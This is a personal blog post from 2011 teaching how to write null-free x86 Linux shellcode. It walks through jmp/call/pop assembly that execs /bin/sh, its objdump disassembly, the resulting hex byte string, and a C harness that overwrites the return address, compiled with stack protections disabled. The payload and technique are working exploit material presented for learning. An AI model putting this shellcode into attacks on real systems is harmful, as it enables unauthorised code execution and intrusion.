Saturday, March 19, 2011

Shell Code revisited

    This post gives brief description on how to write assembly code, so that we can obtain a flexible shell code from that.
    The following is the re-written assembly code:
    
#shellCode.s
#Here we are using relative addressing
.text
.globl _start
_start:
     jmp CallStmt #jump to the preocedure mentioned


    Shellcode:
    popl %esi
    xorl %eax, %eax      # initializing value of eax to 0
    movb %al, 0x7(%esi)  # making A of string to 0
    movl %esi, 0x8(%esi)  # placing the address of starting of string into BBBB
    movl %eax, 0xc(%esi)  #placing 0000 in the place of CCCC
    movb $11, %al           #11 is system call no. for execve
    movl %esi, %ebx
    leal 0x8(%esi), %ecx
    leal 0xc(%esi), %edx
    int $0x80  #call interrupt
     
CallStmt:
     call Shellcode  # push the address of shellvar into stack
     shellvar:
          .ascii "/bin/shABBBBCCCC"     
    
    In the above shell code the string (shellvar) plays the key role. The jmp statement in the starting would start executing the CallStmt procedure, the "call Shellcode" would push the address of next statement( i.e address of starting of string) into the stack and start executing Shellcode procedure, we obtain this address into %esi, by issuing popl %esi, now we manipulate the string as follows

    Initial String: "\bin\shABBBBCCCC"
    
    A should represent end of string ( so A should be replaced by 0)
    BBBB contains the address of start of string ( so %esi should be placed in BBBB)
    CCCC contains NULL (0000 or environment pointer)     
    
    The %esp (containing address of string ) would act as first argument,  similarly the address in BBBB acts as  second pointer and NULL in CCCC acts as third argument to execve. Here we are making at most use of bit spaces in order to avoid null characters in our shell code. And the rest of the assembly code is self
explainatory.
   The following is the shell code that we had obtained from the above assembly code, by using the objdump tool.


manoj@manoj-laptop:~/Desktop/blog$ objdump -d ./shell
shell:     file format elf32-i386
Disassembly of section .text:

08048054 <_start>:
 8048054:    eb 18                    jmp    804806e

08048056 :
 8048056:    5e                       pop    %esi
 8048057:    31 c0                  xor    %eax,%eax
 8048059:    88 46 07             mov    %al,0x7(%esi)
 804805c:    89 76 08             mov    %esi,0x8(%esi)
 804805f:    89 46 0c              mov    %eax,0xc(%esi)
 8048062:    b0 0b                  mov    $0xb,%al
 8048064:    89 f3                   mov    %esi,%ebx
 8048066:    8d 4e 08             lea    0x8(%esi),%ecx
 8048069:    8d 56 0c             lea    0xc(%esi),%edx
 804806c:    cd 80                  int    $0x80

0804806e :
 804806e:    e8 e3 ff ff ff           call   8048056

08048073 :
 8048073:    2f                       das    
 8048074:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 8048077:    2f                       das    
 8048078:    73 68                    jae    80480e2
 804807a:    41                       inc    %ecx
 804807b:    42                       inc    %edx
 804807c:    42                       inc    %edx
 804807d:    42                       inc    %edx
 804807e:    42                       inc    %edx
 804807f:    43                       inc    %ebx
 8048080:    43                       inc    %ebx
 8048081:    43                       inc    %ebx
 8048082:    43                       inc    %ebx
manoj@manoj-laptop:~/Desktop/blog$

    Note that the shell code we obtained here is free from null characters and it does even have hard coded addresses, like in the shell code we have obtained in
the previous post.
    The obtained shell code is inserted in the c code in the form of global character array as mentioned below:

//shellCode.c
char shellcode[] =
    "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff"
    "\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";

void main()
{
   int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

    In the above program ret is the pointer variable which would change the return address present in the stack ( return address of main), to address of shellcode( global char array), in this way we execute our obtained shell code.
     The execution of c code is as follows:

manoj@manoj-laptop:~/Desktop/blog$ gcc -fno-stack-protector -z execstack shell.c -o ex
manoj@manoj-laptop:~/Desktop/blog$ ./ex
$
                                         That's all for this time... Happy hacking... :)
    

0 comments: